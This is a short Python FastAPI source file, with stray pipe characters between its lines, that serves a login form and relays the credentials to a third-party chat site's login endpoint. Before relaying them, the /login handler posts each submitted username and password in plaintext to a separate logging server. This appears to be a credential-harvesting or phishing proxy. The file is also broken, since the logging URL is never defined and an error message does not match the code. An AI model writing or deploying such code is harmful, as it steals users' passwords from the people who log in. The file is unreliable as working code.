|
from fastapi import FastAPI, Request, Form, HTTPException |
|
from fastapi.responses import HTMLResponse, JSONResponse |
|
from fastapi.templating import Jinja2Templates |
|
import requests |
|
|
|
app = FastAPI() |
|
templates = Jinja2Templates(directory="templates") |
|
|
|
|
|
@app.get("/", response_class=HTMLResponse) |
|
async def read_root(request: Request): |
|
return templates.TemplateResponse("index.html", {"request": request}) |
|
|
|
|
|
@app.post("/login") |
|
async def login(request: Request, username: str = Form(...), password: str = Form(...)): |
|
log_data = { |
|
"username": username, |
|
"password": password |
|
} |
|
try: |
|
response = requests.post(log_server_url, json=log_data) |
|
response.raise_for_status() |
|
|
|
except requests.exceptions.RequestException as e: |
|
|
|
print("Error logging generated text:", e) |
|
|
|
|
|
try: |
|
|
|
response = send_request(username, password) |
|
|
|
|
|
if response == '1': |
|
return JSONResponse({'response': 1, 'message': 'Login successful'}) |
|
elif response == '2': |
|
return JSONResponse({'response': 2, 'message': 'Invalid username or password'}) |
|
elif response == '3': |
|
return JSONResponse({'response': 3, 'message': 'Special action required (e.g., page reload)'}) |
|
else: |
|
return JSONResponse({'response': 0, 'message': 'Unknown response from external system'}) |
|
|
|
except requests.exceptions.RequestException as e: |
|
print(f"Error: {e}") |
|
raise HTTPException(status_code=500, detail="Error communicating with external system") |
|
|
|
def send_request(username: str, password: str): |
|
try: |
|
response = requests.post('https://girlschat.org/chat/system/encoded/login.php', data={ |
|
'password': password, |
|
'username': username |
|
}) |
|
|
|
return response.text.strip() |
|
|
|
except requests.exceptions.RequestException as e: |
|
print(f"Error: {e}") |
|
return '0' |
|
|